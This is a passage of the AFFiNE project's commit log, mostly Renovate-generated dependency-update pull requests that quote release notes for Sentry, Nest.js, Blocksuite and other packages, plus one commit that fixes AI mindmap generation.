
    With the next major version the `beforeSendSpan` API can only be used to mutate spans, but no longer to drop them.
    With this release the SDK will warn you if you are using this API to drop spans.
    Instead, it is recommended to configure instrumentation (i.e. integrations) directly to control what spans are created.

    Additionally, with the next major version, root spans will also be passed to `beforeSendSpan`.

-   **feat(utils): Deprecate `@sentry/utils` ([#&#8203;14431](https://redirect.github.com/getsentry/sentry-javascript/pull/14431))**

    With the next major version the `@sentry/utils` package will be merged into the `@sentry/core` package.
    It is therefore no longer recommended to use the `@sentry/utils` package.

-   **feat(vue): Deprecate configuring Vue tracing options anywhere else other than through the `vueIntegration`'s `tracingOptions` option ([#&#8203;14385](https://redirect.github.com/getsentry/sentry-javascript/pull/14385))**

    Currently it is possible to configure tracing options in various places in the Sentry Vue SDK:

    -   In `Sentry.init()`
    -   Inside `tracingOptions` in `Sentry.init()`
    -   In the `vueIntegration()` options
    -   Inside `tracingOptions` in the `vueIntegration()` options

    Because this is a bit messy and confusing to document, the only recommended way to configure tracing options going forward is through the `tracingOptions` in the `vueIntegration()`.
    The other means of configuration will be removed in the next major version of the SDK.

-   **feat: Deprecate `registerEsmLoaderHooks.include` and `registerEsmLoaderHooks.exclude` ([#&#8203;14486](https://redirect.github.com/getsentry/sentry-javascript/pull/14486))**

    Currently it is possible to define `registerEsmLoaderHooks.include` and `registerEsmLoaderHooks.exclude` options in `Sentry.init()` to only apply ESM loader hooks to a subset of modules.
    This API served as an escape hatch in case certain modules are incompatible with ESM loader hooks.

    Since this API was introduced, a way was found to only wrap modules that there exists instrumentation for (meaning a vetted list).
    To only wrap modules that have instrumentation, it is recommended to instead set `registerEsmLoaderHooks.onlyIncludeInstrumentedModules` to `true`.

    Note that `onlyIncludeInstrumentedModules: true` will become the default behavior in the next major version and the `registerEsmLoaderHooks` will no longer accept fine-grained options.

The following deprecations will *most likely* not affect you unless you are building an SDK yourself:

-   feat(core): Deprecate `arrayify` ([#&#8203;14405](https://redirect.github.com/getsentry/sentry-javascript/pull/14405))
-   feat(core): Deprecate `flatten` ([#&#8203;14454](https://redirect.github.com/getsentry/sentry-javascript/pull/14454))
-   feat(core): Deprecate `urlEncode` ([#&#8203;14406](https://redirect.github.com/getsentry/sentry-javascript/pull/14406))
-   feat(core): Deprecate `validSeverityLevels` ([#&#8203;14407](https://redirect.github.com/getsentry/sentry-javascript/pull/14407))
-   feat(core/utils): Deprecate `getNumberOfUrlSegments` ([#&#8203;14458](https://redirect.github.com/getsentry/sentry-javascript/pull/14458))
-   feat(utils): Deprecate `memoBuilder`, `BAGGAGE_HEADER_NAME`, and `makeFifoCache` ([#&#8203;14434](https://redirect.github.com/getsentry/sentry-javascript/pull/14434))
-   feat(utils/core): Deprecate `addRequestDataToEvent` and `extractRequestData` ([#&#8203;14430](https://redirect.github.com/getsentry/sentry-javascript/pull/14430))

##### Other Changes

-   feat: Streamline `sentry-trace`, `baggage` and DSC handling ([#&#8203;14364](https://redirect.github.com/getsentry/sentry-javascript/pull/14364))
-   feat(core): Further optimize debug ID parsing ([#&#8203;14365](https://redirect.github.com/getsentry/sentry-javascript/pull/14365))
-   feat(node): Add `openTelemetryInstrumentations` option ([#&#8203;14484](https://redirect.github.com/getsentry/sentry-javascript/pull/14484))
-   feat(nuxt): Add filter for not found source maps (devtools) ([#&#8203;14437](https://redirect.github.com/getsentry/sentry-javascript/pull/14437))
-   feat(nuxt): Only delete public source maps ([#&#8203;14438](https://redirect.github.com/getsentry/sentry-javascript/pull/14438))
-   fix(nextjs): Don't report `NEXT_REDIRECT` from browser ([#&#8203;14440](https://redirect.github.com/getsentry/sentry-javascript/pull/14440))
-   perf(opentelemetry): Bucket spans for cleanup ([#&#8203;14154](https://redirect.github.com/getsentry/sentry-javascript/pull/14154))

Work in this release was contributed by [@&#8203;NEKOYASAN](https://redirect.github.com/NEKOYASAN) and [@&#8203;fmorett](https://redirect.github.com/fmorett). Thank you for your contributions!

#### Bundle size 📦

| Path                                                             | Size              |
| ---------------------------------------------------------------- | ----------------- |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser)                                                  | 23.12 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) - with treeshaking flags                         | 21.84 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing)                                  | 35.53 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay)                          | 72.44 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) - with treeshaking flags | 62.81 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay with Canvas)              | 76.76 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay, Feedback)                | 89.21 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Feedback)                                 | 39.86 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. sendFeedback)                             | 27.73 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. FeedbackAsync)                            | 32.53 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react)                                                    | 25.8 KB   |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react) (incl. Tracing)                                    | 38.36 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue)                                                      | 27.28 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue) (incl. Tracing)                                      | 37.33 KB  |
| [@&#8203;sentry/svelte](https://redirect.github.com/sentry/svelte)                                                   | 23.27 KB  |
| CDN Bundle                                                       | 24.29 KB  |
| CDN Bundle (incl. Tracing)                                       | 37.17 KB  |
| CDN Bundle (incl. Tracing, Replay)                               | 72.06 KB  |
| CDN Bundle (incl. Tracing, Replay, Feedback)                     | 77.41 KB  |
| CDN Bundle - uncompressed                                        | 71.37 KB  |
| CDN Bundle (incl. Tracing) - uncompressed                        | 110.4 KB  |
| CDN Bundle (incl. Tracing, Replay) - uncompressed                | 223.47 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed      | 236.69 KB |
| [@&#8203;sentry/nextjs](https://redirect.github.com/sentry/nextjs) (client)                                          | 38.68 KB  |
| [@&#8203;sentry/sveltekit](https://redirect.github.com/sentry/sveltekit) (client)                                       | 36.05 KB  |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node)                                                     | 135.06 KB |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node) - without tracing                                   | 96.89 KB  |
| [@&#8203;sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless)                                           | 107.09 KB |

</details>

<details>
<summary>toeverything/design (@&#8203;toeverything/theme)</summary>

### [`v1.0.21`](https://redirect.github.com/toeverything/design/compare/1.0.19...1.0.21)

[Compare Source](https://redirect.github.com/toeverything/design/compare/1.0.19...1.0.21)

</details>

<details>
<summary>electron/electron (electron)</summary>

### [`v33.2.1`](https://redirect.github.com/electron/electron/compare/v33.2.0...v33.2.1)

[Compare Source](https://redirect.github.com/electron/electron/compare/v33.2.0...v33.2.1)

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v15.11.7`](https://redirect.github.com/capricorn86/happy-dom/compare/v15.11.6...d3566f4b2d4b82b3188d7476f492894534f1cfcb)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v15.11.6...v15.11.7)

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.462.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.462.0): New icons 0.462.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.461.0...0.462.0)

#### New icons 🎨

-   `image-upscale` ([#&#8203;2462](https://redirect.github.com/lucide-icons/lucide/issues/2462)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)

#### Modified Icons 🔨

-   `grid-2x2` ([#&#8203;2628](https://redirect.github.com/lucide-icons/lucide/issues/2628)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)
-   `ship` ([#&#8203;2548](https://redirect.github.com/lucide-icons/lucide/issues/2548)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)
-   `shuffle` ([#&#8203;2478](https://redirect.github.com/lucide-icons/lucide/issues/2478)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)
-   `venetian-mask` ([#&#8203;1950](https://redirect.github.com/lucide-icons/lucide/issues/1950)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)

</details>

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

### [`v0.27.1`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0271-2024-11-28)

[Compare Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.27.0...v0.27.1)

##### Bug Fixes

-   Include classes which inherit from another package in class hierarchy in packages mode, [#&#8203;2467](https://redirect.github.com/TypeStrong/TypeDoc/issues/2467).
-   Fixed handling of `@categoryDescription` and `@groupDescription` on module pages, [#&#8203;2787](https://redirect.github.com/TypeStrong/TypeDoc/issues/2787).
-   Fixed automatic discovery of entry points in packages mode.
-   Reverted accidental style change for hierarchy page introduced in 0.27.0
-   The hierarchy Expand/Collapse link will now only appear if the hierarchies are different.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-28 02:53:34 +00:00
akumatus
d2eef768ba fix: ai generation of mindmap fail from note text context (#8952)
Fix issue [AF-1632](https://linear.app/affine-design/issue/AF-1632).

### What Changed?
- Keep the note selection and do not set the widget tool to copilot if asking AI from selection in a note in edgeless mode.
- Remove `content` from `AIImageActionOptions`, using `input` as AI context like other actions.
2024-11-28 02:35:06 +00:00
renovate
3c4e70a8c3 chore: bump up nestjs to v10.4.11 (#8946)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`10.4.10` -> `10.4.11`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.10/10.4.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`10.4.10` -> `10.4.11`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.10/10.4.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.10` -> `10.4.11`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.10/10.4.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.9` -> `10.4.11`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.9/10.4.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.9/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.9/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/testing](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing)) | [`10.4.10` -> `10.4.11`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.10/10.4.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.10/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.9` -> `10.4.11`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.9/10.4.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.9/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.9/10.4.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v10.4.11`](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

### [`v10.4.11`](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

### [`v10.4.11`](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

### [`v10.4.11`](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

### [`v10.4.10`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.10)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.9...v10.4.10)

##### v10.4.10 (2024-11-27)

##### Bug fixes

-   `platform-socket.io`, `websockets`
    -   [#&#8203;14204](https://redirect.github.com/nestjs/nest/pull/14204) fix(websockets): ensure non-shared servers call close method ([@&#8203;sapenlei](https://redirect.github.com/sapenlei))

##### Dependencies

-   [#&#8203;14221](https://redirect.github.com/nestjs/nest/pull/14221) chore(deps): update mysql docker tag to v8.4.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14220](https://redirect.github.com/nestjs/nest/pull/14220) chore(deps): update dependency webpack to v5.96.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14219](https://redirect.github.com/nestjs/nest/pull/14219) chore(deps): update dependency nodemon to v3.1.7 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14218](https://redirect.github.com/nestjs/nest/pull/14218) chore(deps): update confluentinc/cp-zookeeper docker tag to v7.7.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14217](https://redirect.github.com/nestjs/nest/pull/14217) chore(deps): update confluentinc/cp-kafka docker tag to v7.7.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14216](https://redirect.github.com/nestjs/nest/pull/14216) fix(deps): update dependency rimraf to v5.0.10 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14215](https://redirect.github.com/nestjs/nest/pull/14215) fix(deps): update dependency dotenv to v16.4.5 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14214](https://redirect.github.com/nestjs/nest/pull/14214) fix(deps): update dependency [@&#8203;grpc/reflection](https://redirect.github.com/grpc/reflection) to v1.0.4 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;12940](https://redirect.github.com/nestjs/nest/pull/12940) fix(deps): update dependency mongoose to v8.8.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14207](https://redirect.github.com/nestjs/nest/pull/14207) chore(deps): update dependency [@&#8203;types/dotenv](https://redirect.github.com/types/dotenv) to v8.2.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14208](https://redirect.github.com/nestjs/nest/pull/14208) chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.8 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14209](https://redirect.github.com/nestjs/nest/pull/14209) chore(deps): update dependency amqplib to v0.10.5 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14212](https://redirect.github.com/nestjs/nest/pull/14212) chore(deps): update dependency webpack to v5.94.0 \[security] ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14210](https://redirect.github.com/nestjs/nest/pull/14210) chore(deps): update dependency husky to v9.1.7 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14211](https://redirect.github.com/nestjs/nest/pull/14211) chore(deps): update nest monorepo ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14206](https://redirect.github.com/nestjs/nest/pull/14206) chore(deps-dev): bump mongoose from 8.8.1 to 8.8.3 ([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))

##### Committers: 1

-   sapenlei ([@&#8203;sapenlei](https://redirect.github.com/sapenlei))

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

### [`v10.4.11`](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/websockets)</summary>

### [`v10.4.11`](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

### [`v10.4.10`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.10)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.9...v10.4.10)

##### v10.4.10 (2024-11-27)

##### Bug fixes

-   `platform-socket.io`, `websockets`
    -   [#&#8203;14204](https://redirect.github.com/nestjs/nest/pull/14204) fix(websockets): ensure non-shared servers call close method ([@&#8203;sapenlei](https://redirect.github.com/sapenlei))

##### Dependencies

-   [#&#8203;14221](https://redirect.github.com/nestjs/nest/pull/14221) chore(deps): update mysql docker tag to v8.4.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14220](https://redirect.github.com/nestjs/nest/pull/14220) chore(deps): update dependency webpack to v5.96.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14219](https://redirect.github.com/nestjs/nest/pull/14219) chore(deps): update dependency nodemon to v3.1.7 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14218](https://redirect.github.com/nestjs/nest/pull/14218) chore(deps): update confluentinc/cp-zookeeper docker tag to v7.7.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14217](https://redirect.github.com/nestjs/nest/pull/14217) chore(deps): update confluentinc/cp-kafka docker tag to v7.7.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14216](https://redirect.github.com/nestjs/nest/pull/14216) fix(deps): update dependency rimraf to v5.0.10 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14215](https://redirect.github.com/nestjs/nest/pull/14215) fix(deps): update dependency dotenv to v16.4.5 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14214](https://redirect.github.com/nestjs/nest/pull/14214) fix(deps): update dependency [@&#8203;grpc/reflection](https://redirect.github.com/grpc/reflection) to v1.0.4 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;12940](https://redirect.github.com/nestjs/nest/pull/12940) fix(deps): update dependency mongoose to v8.8.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14207](https://redirect.github.com/nestjs/nest/pull/14207) chore(deps): update dependency [@&#8203;types/dotenv](https://redirect.github.com/types/dotenv) to v8.2.3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14208](https://redirect.github.com/nestjs/nest/pull/14208) chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.8 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14209](https://redirect.github.com/nestjs/nest/pull/14209) chore(deps): update dependency amqplib to v0.10.5 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14212](https://redirect.github.com/nestjs/nest/pull/14212) chore(deps): update dependency webpack to v5.94.0 \[security] ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14210](https://redirect.github.com/nestjs/nest/pull/14210) chore(deps): update dependency husky to v9.1.7 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14211](https://redirect.github.com/nestjs/nest/pull/14211) chore(deps): update nest monorepo ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   [#&#8203;14206](https://redirect.github.com/nestjs/nest/pull/14206) chore(deps-dev): bump mongoose from 8.8.1 to 8.8.3 ([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))

##### Committers: 1

-   sapenlei ([@&#8203;sapenlei](https://redirect.github.com/sapenlei))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-28 02:18:30 +00:00
renovate
8ab4ea7ed0 chore: bump up @blocksuite/affine version to v0.18.1 (#8948)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.18.0` -> `0.18.1`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.18.0/0.18.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.18.0/0.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.18.0/0.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.18.1`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0181)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.18.0...v0.18.1)

##### Patch Changes

-   [`e2d574c`](https://redirect.github.com/toeverything/blocksuite/commit/e2d574c): ## Feat

    -   feat: new doc dnd ([#&#8203;8808](https://redirect.github.com/toeverything/blocksuite/issues/8808))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-27 13:07:19 +00:00
renovate
68337fa77c chore: bump up @blocksuite/icons version to v2.1.71 (#8941)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/icons](https://redirect.github.com/toeverything/icons) | [`2.1.70` -> `2.1.71`](https://renovatebot.com/diffs/npm/@blocksuite%2ficons/2.1.70/2.1.71) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2ficons/2.1.71?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2ficons/2.1.71?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2ficons/2.1.70/2.1.71?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2ficons/2.1.70/2.1.71?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/icons (@&#8203;blocksuite/icons)</summary>

### [`v2.1.71`](7a3a0b4244...c3f744f102)

[Compare Source](7a3a0b4244...c3f744f102)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

